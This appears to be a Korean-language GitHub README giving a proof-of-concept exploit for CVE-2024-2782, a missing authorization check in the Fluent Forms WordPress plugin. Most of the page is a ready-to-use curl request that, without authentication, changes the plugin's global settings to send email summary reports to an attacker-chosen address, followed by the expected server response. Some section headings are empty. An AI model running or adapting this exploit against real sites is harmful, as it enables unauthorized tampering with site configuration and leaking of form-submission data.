whale93/cve-2024-2782-pocCVE-2024-2782 개념 증명
CVE-2024-2782 개념 증명(Proof-of-Concept)
WordPress용 퀴즈, 설문조사 및 드래그 앤 드롭 WP Form Builder 플러그인인 Contact Form Plugin by Fluent Forms는 5.1.16 이하의 모든 버전에서 /wp-json/fluentform/v1/global-settings REST API 엔드포인트에 대한 권한(capability) 검사 누락으로 인해 데이터 무단 수정에 취약합니다. 이로 인해 인증되지 않은 공격자가 플러그인의 모든 설정을 수정할 수 있습니다.
사전 요구 사항
익스플로잇 명령
curl -i -X POST "http://TARGET/wp-json/fluentform/v1/global-settings"
-H "Content-Type: application/json"
-d '{
"key": "emailSummarySettings",
"email_report": "{"send_to_type":"custom","custom_recipients":"[email protected]"}"
}'
예상 응답
HTTP/1.1 200 OK
Date: Thu, 31 Jul 2025 13:11:49 GMT
Server: Apache/2.4.62 (Debian)
X-Powered-By: PHP/8.3.11
X-Robots-Tag: noindex
Link: <http://target:9090/wp-json/>; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Allow: POST
Content-Length: 4
Content-Type: application/json; charset=UTF-8
true
스크린샷
WordPress 데이터베이스에서 변경 사항 확인
